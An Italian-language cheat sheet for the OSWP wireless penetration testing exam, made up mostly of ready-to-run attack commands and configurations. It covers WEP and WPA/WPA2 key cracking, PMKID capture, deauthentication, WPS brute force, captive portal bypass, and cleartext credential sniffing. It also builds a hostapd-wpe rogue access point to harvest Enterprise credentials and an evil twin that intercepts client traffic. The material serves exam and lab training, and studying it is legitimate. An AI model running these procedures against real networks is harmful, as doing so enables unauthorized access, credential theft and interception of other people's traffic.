Skip to content

CHEAT SHEET COMPLETO PER ESAME OSWP (v17)

Cronologia sintetica delle revisioni maggiori: v2 fix hashcat/OpenCL su ARM, v3 riscrittura Captive Portal, v6-v8 fix critici su Rogue AP Enterprise, v13 fix conversione PMKID, v16 tabella hw_mode, v17 riordino con notice GitHub-style e sfoltimento prosa.

INDICE

  1. Reti WEP
  2. Reti WPA/WPA2-PSK
  3. Reti WPA/WPA2-Enterprise (WPA-MGT)
  4. Attacco WPS
  5. Bypass Captive Portal (due tecniche)
  6. Evil Twin su rete aperta

FASE 0: PREPARAZIONE DELL'AMBIENTE

Da rifare all'inizio di ogni scenario e ogni volta che cambi scheda di rete.

0.1 Identificare le interfacce

Bash
iwconfig
iw dev   # più moderno

Warning

airmon-ng start wlan0 non rinomina sempre l'interfaccia in wlan0mon — dipende dal driver, a volte resta wlan0 in monitor mode. Verifica sempre il nome reale con iwconfig/iw dev prima di procedere. Un "No such device" è quasi sempre questo.

0.2 Salvare il MAC address originale

Bash
ORIG_MAC=$(ip link show wlan0 | grep link/ether | awk '{print $2}')
echo "Il mio MAC è: $ORIG_MAC"

Note

In monitor mode l'interfaccia mostra spesso un MAC placeholder (02:00:00:00:00:00, 42:00:00:00:00:00). Il MAC fisico salvato qui serve per aireplay-ng -h.

0.3 Terminare i processi che interferiscono

Bash
sudo airmon-ng check
sudo airmon-ng check kill

NetworkManager e wpa_supplicant cambiano canale e interferiscono con la cattura. Uccidere NetworkManager toglie Internet: scarica prima wordlist/tool, o riavvialo dopo con sudo systemctl start NetworkManager.

0.4 Modalità monitor

Bash
sudo airmon-ng start wlan0
iwconfig wlan0mon    # o il nome reale verificato al punto 0.1

0.5 Test di injection

Bash
sudo aireplay-ng -9 wlan0mon

Atteso: Injection is working!.

Note

Su lab virtuali (mac80211_hwsim) questo test può dare falsi "Found 0 APs" anche con injection funzionante, perché il "mezzo radio" è simulato. Verifica piuttosto con uno scan diretto (airodump-ng) e aireplay-ng -1 0.

0.6 Ripristino interfaccia

Bash
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

0.7 Tool e wordlist — checklist pre-esame

Bash
sudo apt update
sudo apt install aircrack-ng hashcat reaver macchanger asleap tshark isc-dhcp-client hcxtools
ls -la /usr/share/wordlists/rockyou.txt*
sudo gunzip /usr/share/wordlists/rockyou.txt.gz   # se compresso

Important

La VM d'esame potrebbe non avere Internet. Verifica prima che siano tutti presenti: aircrack-ng suite, hashcat, reaver/bully, macchanger, asleap, hostapd-wpe, hcxdumptool, hcxpcapngtool, hcxhash2cap, tshark, dhclient.

Verifica hashcat (ARM/Kali):

Bash
hashcat -I

Caution

No devices found/left è tipico su Kali arm64: il pacchetto pocl-opencl-icd è stato rimosso dai repo Kali (confermato su pkg.kali.org come "gone") e ocl-icd-libopencl1 da solo non basta — serve un driver/ICD vero, non disponibile via apt su queste immagini. Non contarci come piano principale: usa aircrack-ng per WEP/WPA-PSK e asleap per l'Enterprise, entrambi CPU-native.

Verifica dhclient:

Bash
which dhclient
sudo apt install isc-dhcp-client -y   # se assente

Note

Le Kali recenti non includono più dhclient di default. Serve nella Fase 3 per le connessioni via wpa_supplicant (WEP/WPA/Enterprise), dove NetworkManager va tenuto spento.


FASE 1: RICOGNIZIONE

1.1 Scansione completa

Bash
sudo airodump-ng --band abg --manufacturer --wps wlan0mon
Opzioni utili: --band abg, --manufacturer, --wps, -c <canale>, --bssid <BSSID>.

1.2 Colonne principali

Colonna Significato
BSSID MAC dell'AP
PWR Potenza segnale (vicino a 0 = forte)
Beacons Beacon ricevuti
#Data Pacchetti dati
CH Canale
MB Velocità massima
ENC Cifratura (WEP/WPA/WPA2/OPN)
CIPHER TKIP/CCMP
AUTH PSK/MGT/OPN/SAE
ESSID Nome rete

1.3 Smistamento per scenario

  • WEP (ENC: WEP) → priorità alta, facile da craccare
  • WPA/WPA2 PSK (AUTH: PSK) → handshake o PMKID
  • WPA/WPA2 MGT (AUTH: MGT) → Enterprise, Rogue AP
  • WPS (WPS: Yes in wash) → possibile brute-force
  • Reti aperte (ENC: OPN) → Evil Twin o Captive Portal (vedi 2.5)

Important

PSK e MGT mostrano entrambi ENC: WPA2 CCMP — la differenza sta solo nella colonna AUTH. Confonderli ti manda a inseguire un handshake su una rete Enterprise (dove non esiste) o viceversa. Controllala sempre prima di iniziare.

Tip

Non tutte le reti in scansione sono target reali — alcune sono solo rumore di fondo senza nessun client che si connette mai. Sintomo: #Data fisso a 0 e STATION sempre vuota anche dopo 10+ minuti. Verifica velocemente prima di investire tempo:

Bash
sudo airodump-ng -c <CH> --bssid <BSSID> wlan0mon
Se dopo 1-2 minuti non si muove nulla, valuta di passare ad altro target — ma occhio: una rete "silenziosa" può comunque avere una flag legittima dietro (verificalo se possibile prima di scartarla, es. controllando se ha un endpoint web o altre risorse dedicate).

1.4 Cattura mirata (bloccando il canale)

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w <capture_file> wlan0mon
Blocca il canale per evitare che l'hopping automatico faccia perdere pacchetti cruciali (handshake, IV).

Warning

Se hai un airodump-ng in hopping e un aireplay-ng mirato sulla stessa interfaccia in parallelo, si contendono il canale — loop di "wlan0mon is on channel X, but the AP uses channel Y". Usa interfacce diverse o ferma l'hopping mentre attacchi.

Caution

aireplay-ng non cambia mai canale da solo — resta bloccato su quello impostato l'ultima volta su quell'interfaccia. Riusando la stessa interfaccia (es. wlan1mon) su target a canali diversi nel corso della sessione, è facilissimo lanciare un deauth che silenziosamente non raggiunge mai l'AP ("Waiting for beacon frame ... on channel X" con X sbagliato, senza errori espliciti). Prima di ogni deauth:

Bash
sudo iw dev wlan1mon set channel <CH>
oppure, più robusto, lancia per un paio di secondi airodump-ng -c <CH> --bssid <BSSID> wlan1mon sulla stessa interfaccia subito prima — il canale impostato viene "ereditato" anche da aireplay-ng. Controlla sempre che "on channel X" corrisponda al target prima di considerare il deauth "in corso".


FASE 2: ATTACCHI SPECIFICI

2.1 RETI WEP

Servono ~40.000 IV per craccare la chiave.

STEP 1 — Identificare la rete

Bash
sudo airodump-ng --encrypt WEP wlan0mon

STEP 2 — Avviare la cattura IV

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wep_capture wlan0mon

STEP 3 — Generare traffico

Opzione A — ARP Replay (con client/traffico esistente, consigliata):

Bash
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon

Opzione B — Fake Authentication (nessun client associato, va fatta prima dell'ARP replay):

Bash
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon

Opzione C — Nessun traffico da rilanciare, nessun client (ChopChop/Fragmentation):

Bash
# ChopChop
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo packetforge-ng -0 -a <BSSID> -h $ORIG_MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-<data>.xor -w arp-request
sudo aireplay-ng -2 -r arp-request wlan0mon

# Fragmentation (alternativa, spesso più veloce)
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon
# poi packetforge-ng come sopra sul .xor generato
Questi due metodi non recuperano la chiave, ma un keystream per forgiare pacchetti ARP da iniettare e far salire #Data.

STEP 4 — Monitorare la raccolta IV fino a ~40.000 in #Data.

STEP 5 — Craccare

Bash
sudo aircrack-ng wep_capture-01.cap
Nessuna dipendenza da hashcat/OpenCL.


2.2 RETI WPA/WPA2-PSK

STEP 1 — Cattura sul target

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wpa_capture wlan0mon

STEP 2 — Deauth

Bash
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon   # mirato, consigliato
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon                    # broadcast, rumoroso

STEP 3 — Verificare l'handshake: cerca WPA handshake: <BSSID> in alto a destra in airodump-ng. Se non appare, ripeti il deauth (-0 10) o cambia client.

STEP 3bis — Alternativa clientless: attacco PMKID

Utile se non c'è nessun client da deautenticare:

Bash
sudo iw dev wlan0mon set channel <CH>
sudo hcxdumptool -i wlan0mon -w capture.pcapng
# CTRL+C dopo qualche minuto
hcxpcapngtool -o hash_pmkid.hc22000 capture.pcapng

Warning

hcxdumptool non fa channel hopping automatico — fissa il canale prima o non catturerai nulla. La sintassi del flag di output è cambiata più volte tra versioni (-o, --pcapngout=, ora di nuovo -w): se ottieni unrecognized option, verifica con hcxdumptool -h | grep -E "^\s*-w|^\s*-o" prima di fidarti del comando sopra. --enable_status è stato rimosso: lo status live compare ora automaticamente.

Caution

aircrack-ng non legge il formato .hc22000 (proprietario di hashcat). Serve riconvertirlo in .cap con hcxhash2cap:

Bash
hcxhash2cap --pmkid-eapol=hash_pmkid.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap
Se hcxhash2cap manca: sudo apt install hcxtools -y. Se hai un hashcat funzionante, puoi saltare la conversione e usare -m 22000 direttamente (STEP 5bis sotto).

Tip

Nel summary di hcxpcapngtool il campo weak candidate...: 12345678 è un segnaposto sempre presente, non una password recuperata — ignoralo. L'attacco PMKID clientless funziona solo se l'AP include il PMKID nella risposta di associazione (caching PMKSA abilitato): non tutti gli AP lo fanno. Se dopo diversi minuti hai solo EAPOL M1 senza M2/M3/M4 e "no hashes written", quell'AP specifico probabilmente non lo supporta — serve un handshake completo con client reale.

STEP 4 — Cracking primario: aircrack-ng (CPU-native, nessuna dipendenza OpenCL — obbligatorio su Kali arm64)

Bash
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap

STEP 4bis/5bis — Alternativa con GPU/OpenCL funzionante

Bash
hcxpcapngtool -o hash_handshake.hc22000 wpa_capture-01.cap
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt
sudo hashcat -m 22000 hash_handshake.hc22000 --show


2.3 RETI WPA/WPA2-ENTERPRISE (WPA-MGT)

Richiede un Rogue Access Point per intercettare le credenziali EAP. Lo scenario più delicato dell'intero cheat sheet.

Strumenti: tool storico del corso PEN-210 è hostapd-wpe (non hostapd-mana, che comunque è valido/più mantenuto — verifica cosa hai preinstallato con which hostapd-wpe / which hostapd-mana). Serve anche asleap per il cracking MSCHAPv2 offline (CPU-native).

Bash
sudo apt update
sudo apt install hostapd-wpe asleap

STEP 1 — Identificare il target: cerca AUTH: MGT.

Important

Non tutte le reti MGT sono attaccabili con un Rogue AP semplice. Il metodo EAP interno determina tutto: - MSCHAPv2 / GTC / MD5 → il downgrade forzato da hostapd-wpe funziona, ottieni credenziali in chiaro o challenge/response. Il resto di questa sezione copre questo caso. - EAP-TLS puro, o PEAP/TTLS con verifica del certificato server attiva → il Rogue AP non può funzionare con un certificato self-signed generico. PEAP/TTLS hanno comunque un tunnel TLS esterno con verifica cert, identico a EAP-TLS puro — non conta il numero di metodo EAP mostrato, conta se il client valida il certificato.

Riconoscilo dal log di hostapd-wpe:

Text Only
STA ... Supplicant used different EAP type: 13 (TLS)   ← o 25 (PEAP), stesso esito
SSL: SSL3 alert: read (remote end reported an error):fatal:unknown CA   ← segnale decisivo
Se vedi unknown CA, non è recuperabile con questa tecnica — il Rogue AP funziona correttamente, è quel target specifico a essere fuori portata (comportamento sicuro corretto del client, non un tuo errore). Cambia target, cerca un altro AP MGT e ripeti da STEP 2.

STEP 2 — Configurazione completa

Il template minimo (solo ssid/channel/mana_wpe) non basta: servono i parametri WPA-EAP e i certificati.

Caution

L'interfaccia va usata in modalità gestita, mai in monitor mode. hostapd-wpe con driver nl80211 gestisce da solo il passaggio a modalità AP — puntarlo su wlan0mon produce "Invalid HW-addr family" o "key not allowed" / "Failed to set beacon parameters". Prima di scrivere il conf:

Bash
sudo airmon-ng stop wlan0mon
sudo airmon-ng check kill
sudo systemctl stop NetworkManager
iwconfig   # verifica il nome reale, probabilmente tornato "wlan0"

Bash
nano hostapd-wpe.conf
Text Only
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
channel=6
hw_mode=g

wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1

eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever2changeme
Con hostapd-mana, l'equivalente è aggiungere mana_wpe=1 sopra questa stessa base.

Caution

ssid=CorporateWiFi è solo un ESEMPIO — sostituiscilo sempre con l'ESSID esatto del target. Errore particolarmente subdolo: hostapd-wpe parte senza errori, l'AP è visibile e sul canale giusto, ma nessun client si connetterà mai perché cerca un nome diverso. Verifica sempre dopo l'avvio:

Bash
iw dev wlan0 info | grep ssid

Caution

channel e hw_mode devono combaciare con banda e canale reali del target. Il template usa channel=6/hw_mode=g (2.4GHz) solo come esempio. L'unico indicatore affidabile della banda è il numero di canale (non il suffisso "e" nella colonna MB, che indica solo supporto QoS ed è indipendente dalla banda):

CH in airodump-ng Banda hw_mode
1–14 2.4 GHz b o g
36–165 5 GHz a
1–6 (WiGig, raro) 60 GHz ad

Per un target 5GHz canale 44: channel=44 / hw_mode=a. Se ottieni un errore di dominio regolatorio: sudo iw reg set US.

Tabella completa hw_mode (parametro standard hostapd):

Valore Standard Banda Frequenza Note
b 802.11b 2.4 GHz 2412–2484 MHz Solo DSSS/CCK, max 11 Mbps, raro da solo oggi
g 802.11g 2.4 GHz 2412–2484 MHz OFDM, retrocompatibile con b. Usalo per qualunque target su canale 1-14
a 802.11a 5 GHz 5170–5825 MHz OFDM. Usalo per qualunque target su canale ≥36
ad 802.11ad (WiGig) 60 GHz 58–70 GHz Rarissimo in scenari OSWP
any Lascia decidere al driver, meglio evitarlo

Note

hw_mode indica solo la banda/PHY di base. 802.11n/ac/ax non hanno un proprio valore: si abilitano con flag aggiuntivi sopra la banda (ieee80211n=1, ieee80211ac=1). Per un Rogue AP che deve solo farsi vedere e associare un client, hw_mode=g/hw_mode=a da soli bastano quasi sempre.

Caution

Se hostapd-wpe fallisce con:

Text Only
OpenSSL: tls_read_pkcs12 - Failed to use PKCS#12 file error:0D0680A8:asn1 encoding routines:ASN1_CHECK_TLEN:wrong tag
i certificati preconfezionati in /etc/hostapd-wpe/certs/ sono spesso in un formato che OpenSSL 3.x non parsa più (non "generati automaticamente in modo affidabile" come talvolta si legge). Rigenerali:
Bash
cd /etc/hostapd-wpe/certs
sudo openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.pem -days 3650 -nodes -subj "/CN=hostapd-wpe-CA"
sudo openssl req -newkey rsa:2048 -keyout server.key -out server.csr -nodes -subj "/CN=hostapd-wpe"
sudo openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out server.pem -days 3650
Questi nuovi certificati non hanno passphrase: rimuovi private_key_passwd dal conf, altrimenti hostapd-wpe prova come fallback a leggere il file come PKCS#12 e produce lo stesso errore anche con certificati validi.
Bash
sed -i '/private_key_passwd/d' hostapd-wpe.conf

STEP 3 — Avviare il Rogue AP

Bash
sudo hostapd-wpe hostapd-wpe.conf
# oppure: sudo hostapd-mana hostapd-mana.conf

STEP 4 — Deauth dei client dal target legittimo

Warning

-a vuole SEMPRE il BSSID dell'AP, -c il MAC del client — sono facili da scambiare guardando la tabella STATION di airodump-ng. Se metti per errore il MAC del client in -a, ottieni "No such BSSID available" in loop.

Bash
sudo aireplay-ng -0 5 -a <BSSID_TARGET> -c <CLIENT_MAC> wlan0mon
Senza -c l'attacco è broadcast (più rumoroso, deautentica tutti i client dell'AP).

STEP 5 — Catturare le credenziali

Note

hostapd-wpe non scrive in /var/log/hostapd.log di default, ma in hostapd-wpe.log nella directory da cui l'hai lanciato.

Se il client supporta EAP-GTC oltre a MSCHAPv2, hostapd-wpe forza il downgrade a GTC ottenendo credenziali in chiaro direttamente nel log, senza cracking. Controlla sempre prima lì. Se il client usa solo MSCHAPv2, ottieni una tripla username:challenge:response da craccare offline.

Tip

Se il Rogue AP è configurato correttamente (SSID/canale/banda verificati) ma il client non si riassocia dopo il deauth, non è detto sia un problema di config — alcuni client si riconnettono solo periodicamente (cron su un lab, retry interval nel mondo reale). Ripeti il deauth nel tempo invece di un singolo tentativo:

Bash
while true; do sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan1mon; sleep 5; done
e tieni hostapd-wpe.log sotto tail -f continuo. Verifica comunque per primo il canale sull'interfaccia di attacco (causa più comune di deauth "silenziosamente inefficaci").

Note

Clonare anche il BSSID (non solo l'SSID) può servire per client "pinnati" su un BSSID specifico via PMKSA cache. Su lab virtuali (mac80211_hwsim) impostare lo stesso MAC su due interfacce spesso fallisce a livello driver ("kernel reports: Match already configured") — limite del simulatore, non della tecnica. Nella maggior parte dei casi reali basta l'SSID identico; il BSSID cloning è un'ultima risorsa.

STEP 6 — Craccare con asleap (primario)

Bash
sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt

STEP 6bis — Hashcat (solo se hashcat -I mostra un device)

Bash
# -m 5500 = MSCHAPv2/NetNTLMv1 — NON 16800/22000 (quelli sono per WPA-PSK PMKID/handshake)
sudo hashcat -m 5500 hash_enterprise.txt /usr/share/wordlists/rockyou.txt


2.4 ATTACCO WPS

STEP 1 — Identificare AP con WPS

Bash
sudo wash -i wlan0mon -s

STEP 2 — Reaver

Bash
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv
-K 1 = Pixie Dust (richiede pixiewps a parte, verifica con which pixiewps), -d 2, -t 5, -N, -L.

STEP 3 — Se si blocca: riprova con -K 1, o attendi 5-10 minuti di lockout.

STEP 4 — Se Reaver fallisce, Bully

Bash
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3


2.5 BYPASS DEL CAPTIVE PORTAL

Una rete ENC: OPN può nascondere due tipi di captive portal molto diversi, e non lo sai finché non ci provi:

  • Tipo A — Whitelist MAC: passa traffico reale solo ai MAC già "visti" autenticarsi. Bypass: rubi il MAC di un client autorizzato.
  • Tipo B — Login applicativo reale (form HTML): il MAC non conta, serve una credenziale valida. Bypass: sniffing passivo delle credenziali in chiaro (su OPN il traffico HTTP di qualunque client è leggibile in aria, anche senza essere associati).

STEP 0 — Diagnosi: quale dei due?

Bash
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 up
nmcli dev wifi connect <ESSID>
ip addr show wlan0
ip route | grep default    # annota l'IP del gateway
Apri http://<IP_GATEWAY>/ nel browser.

Important

Se vieni rediretto a un form con Username + PasswordTipo B, il MAC spoofing da solo NON funzionerà, salta direttamente alla Tecnica B. Se ti chiede solo di accettare termini o hai già accesso senza fare nulla → probabile whitelist MAC, prova la Tecnica A.

TECNICA A — Whitelist MAC

Bash
sudo airmon-ng start wlan0
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_capture wlan0mon
Annota dalla tabella STATION il MAC con più Frames (client verosimilmente autorizzato):
Bash
CLIENT_MAC="11:22:33:44:55:66"
sudo airmon-ng stop wlan0mon
sudo systemctl stop NetworkManager
sudo ip link set wlan0 down
sudo macchanger -m $CLIENT_MAC wlan0
sudo ip link set wlan0 up
sudo systemctl start NetworkManager
nmcli dev wifi connect <ESSID>
ip addr show wlan0
sudo dhclient wlan0   # se serve forzare il DHCP
ping <IP_GATEWAY>
curl http://<IP_GATEWAY>/proof.txt

Note

Se il client legittimo è ancora connesso, avrai un conflitto di MAC duplicati — deautenticalo prima (aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC>, richiede monitor mode). Se resti bloccato sul login nonostante il MAC corretto, è comunque Tipo B → Tecnica B. Se la rete usa 802.1X (MGT), questa tecnica non si applica affatto (vedi 2.3).

TECNICA B — Sniffing delle credenziali in chiaro

Bash
sudo airmon-ng start wlan0
sudo airodump-ng --band abg wlan0mon   # annota BSSID e CH del target
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_sniff wlan0mon
Lascialo aperto e attendi (nessuna associazione, nessun deauth necessari) — almeno 3-5 minuti prima di considerarlo "vuoto".

Bash
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data

Note

L'output è esadecimale, non testo — è normale, http.file_data restituisce byte grezzi. Decodifica:

Bash
echo "<stringa_hex>" | xxd -r -p
Su tutte le righe in un colpo solo:
Bash
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data | sort -u | while read -r hexline; do echo "$hexline" | xxd -r -p; echo; done

Usa le credenziali decodificate sul form di login nel browser. Se la flag non appare a schermo, recuperala via terminale mantenendo i cookie di sessione (curl senza cookie non è autenticato):

Bash
curl -c cookies.txt -d "Username=<user>&Password=<pass>&Submit=Login" http://<IP_GATEWAY>/login.php
curl -b cookies.txt http://<IP_GATEWAY>/index.php
curl -b cookies.txt http://<IP_GATEWAY>/proof.txt

Tip

Alternativa via GUI: wireshark captive_sniff-01.cap, filtro http.request.method == "POST", tasto destro su un pacchetto → Follow → HTTP Stream — decodifica automatica, senza xxd.

Riepilogo rapido

Situazione osservata Tecnica
Nessun form, solo redirect/blocco generico A — MAC spoofing
Form con Username + Password B — Sniffing credenziali
A non funziona nonostante MAC corretto Prova B
Obiettivo è "intercetta le credenziali di un utente" B, sempre

2.6 EVIL TWIN SU RETE APERTA

Bash
sudo airbase-ng -e <ESSID_TARGET> -c <CHANNEL> wlan0mon

Routing opzionale:

Bash
sudo ifconfig at0 up
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Deauth dal target legittimo:

Bash
sudo aireplay-ng -0 5 -a <BSSID_TARGET> wlan0mon

Intercettare il traffico:

Bash
sudo tcpdump -i at0 -w evil_twin_capture.pcap

DHCP/DNS sui client connessi:

Bash
sudo apt install dnsmasq
cat > dnsmasq.conf << EOF
interface=at0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
log-queries
log-facility=/var/log/dnsmasq.log
EOF
sudo dnsmasq -C dnsmasq.conf


FASE 3: ACCESSO E RACCOLTA DELLA PROVA

3.1 Connessione con wpa_supplicant

WPA2-PSK (CCMP):

Text Only
network={
    ssid="<ESSID>"
    psk="<PASSWORD>"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    group=CCMP
}

WPA-PSK (TKIP): come sopra ma proto=WPA, pairwise=TKIP, group=TKIP.

Bash
sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
ip addr show wlan0
ping 192.168.1.1

Reti aperte:

Bash
sudo ip link set wlan0 up
sudo iw dev wlan0 connect <ESSID>
sudo dhclient wlan0

Reti WEP:

Bash
sudo iw dev wlan0 connect <ESSID> key 0:<WEP_KEY>
sudo dhclient wlan0

WPA-Enterprise:

Text Only
network={
    ssid="<ESSID>"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="<USERNAME>"
    password="<PASSWORD>"
    phase2="auth=MSCHAPV2"
}

Note

Se dhclient manca: sudo apt install isc-dhcp-client. Per reti aperte/WEP/PSK puoi anche usare nmcli dev wifi connect <ESSID> (gestisce da solo il DHCP), ma per Enterprise e WEP via iw dev connect conviene avere dhclient disponibile per seguire esattamente questi step.

3.2 Recuperare il proof.txt

Bash
ip route | grep default
curl http://192.168.1.1/proof.txt
wget http://192.168.1.1/proof.txt
cat proof.txt
Se non disponibile: prova anche flag.txt e index.php (a volte la flag appare solo dopo login, vedi 2.5 Tecnica B), o curl -k https://... se serve HTTPS.

3.3 Documentazione (obbligatoria)

Screenshot per ogni scenario: scansione con BSSID/ESSID target, cattura handshake/IV/credenziali, comando di cracking con la chiave trovata, connessione (ip addr), download del proof.txt, contenuto del proof.txt.


APPENDICE: ERRORI COMUNI

"No such device" per wlan0/wlan0mon

Bash
iwconfig
iw dev

Warning

Il nome dell'interfaccia in monitor mode potrebbe essere rimasto wlan0 invece di diventare wlan0mon.

"Permission denied"

Bash
sudo su -

"Device or resource busy"

Bash
sudo airmon-ng check kill
sudo systemctl restart NetworkManager

Hashcat: "No devices found/left"

Caution

Su Kali arm64, pocl-opencl-icd è stato rimosso dai repo — non installabile via apt. Usa aircrack-ng/asleap come da Fase 0.7. Se hai comunque un backend funzionante:

Bash
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt --force
sudo hashcat -m 22000 hash_handshake.hc22000 --show

"sudo: dhclient: comando non trovato"

Bash
sudo apt install isc-dhcp-client -y
sudo dhclient wlan0
# alternativa senza installare nulla, se NetworkManager è attivo:
nmcli dev wifi connect <ESSID>

"No handshake captured" in aircrack-ng

Bash
sudo aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# alternativa clientless:
sudo hcxdumptool -i wlan0mon -w capture.pcapng
hcxpcapngtool -o hash.hc22000 capture.pcapng
hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap

"No IVs gathered" in aircrack-ng (WEP)

Bash
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
# se nessun client/traffico:
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon   # chopchop
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon   # fragmentation

"Memory allocation failed" in Hashcat: aumenta RAM VM o usa wordlist più piccola (solo se hashcat ha un backend funzionante).

"Injection is working: NO" / "Found 0 APs" con aireplay-ng -9: verifica monitor mode reale, driver, e nessun altro processo attivo sull'interfaccia. Su lab virtuali può dare falsi negativi — verifica con scan diretto e aireplay-ng -1 0.

aireplay-ng in loop su "wlan0mon is on channel X, but the AP uses channel Y": un altro processo (tipicamente airodump-ng in hopping) sulla stessa interfaccia sta cambiando canale. Usa un'interfaccia diversa o ferma lo scan hopping.

Captive portal: MAC spoofing non funziona: non tutti i portali usano whitelist MAC. Se resti bloccato su un form Username/Password, è login applicativo reale → Tecnica B (2.5).

tshark -e http.file_data restituisce hex illeggibile: normale, decodifica con echo "<hex>" | xxd -r -p o Wireshark → Follow → HTTP Stream.


RIEPILOGO COMANDI PRINCIPALI

Fase Comando
Setup sudo airmon-ng check kill
sudo airmon-ng start wlan0
ORIG_MAC=$(ip link show wlan0 \| grep link/ether \| awk '{print $2}')
sudo aireplay-ng -9 wlan0mon (test injection)
hashcat -I (verifica device PRIMA di contarci)
which dhclient (installa se assente)
Scansione sudo airodump-ng --band abg --manufacturer wlan0mon
Cattura mirata sudo airodump-ng -c <CH> --bssid <BSSID> -w <file> wlan0mon
Deauth (WPA) sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon
ARP Replay (WEP) sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
Fake Auth (WEP) sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
ChopChop/Fragmentation sudo aireplay-ng -4 / -5 -b <BSSID> -h $ORIG_MAC wlan0mon
Crack WEP sudo aircrack-ng wep_capture-01.cap
Crack WPA (aircrack-ng, primario) sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap
Converti per Hashcat hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap
Crack WPA (Hashcat, opzionale) sudo hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
PMKID clientless sudo hcxdumptool -i wlan0mon -w cap.pcapng
PMKID → .cap per aircrack-ng hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap
WPS Scan sudo wash -i wlan0mon -s
WPS Attack sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv
Captive Portal — MAC spoof sudo macchanger -m <CLIENT_MAC> wlan0
Captive Portal — sniff credenziali tshark -r <file>.cap -Y "http.request.method == POST" -T fields -e http.file_data
Captive Portal — decodifica hex echo "<hex>" \| xxd -r -p
Evil Twin sudo airbase-ng -e <ESSID> -c <CH> wlan0mon
Rogue AP Enterprise sudo hostapd-wpe hostapd-wpe.conf
Crack MSCHAPv2 (asleap, primario) sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt
Crack MSCHAPv2 (Hashcat, opzionale) sudo hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt
Spoof MAC sudo ip link set wlan0 down && sudo ip link set wlan0 address <NEW_MAC> && sudo ip link set wlan0 up
Connessione sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf + sudo dhclient wlan0
Prova finale curl http://192.168.1.1/proof.txt

SUGGERIMENTI PER L'ESAME

  1. Leggi il MAC e testa l'injection prima di fidarti dell'interfaccia.
  2. Verifica hashcat -I e which dhclient prima dell'esame — pianifica aircrack-ng/asleap/nmcli come primari se mancano.
  3. Più terminali: uno per airodump-ng, uno per aireplay-ng, uno per il cracking — ma mai due processi mirati sulla stessa interfaccia in parallelo.
  4. Blocca sempre il canale quando attacchi un target specifico.
  5. Sulle reti OPN, diagnostica sempre prima il tipo di captive portal (STEP 0 della 2.5) invece di tentare a caso.
  6. Documenta tutto: comando, output, screenshot.
  7. Gestisci il tempo (3h45m totali) — inizia dallo scenario più semplice.
  8. Verifica il proof.txt prima di passare oltre.
  9. Vietati strumenti automatici: wifite, wifiphisher, besside-ng.
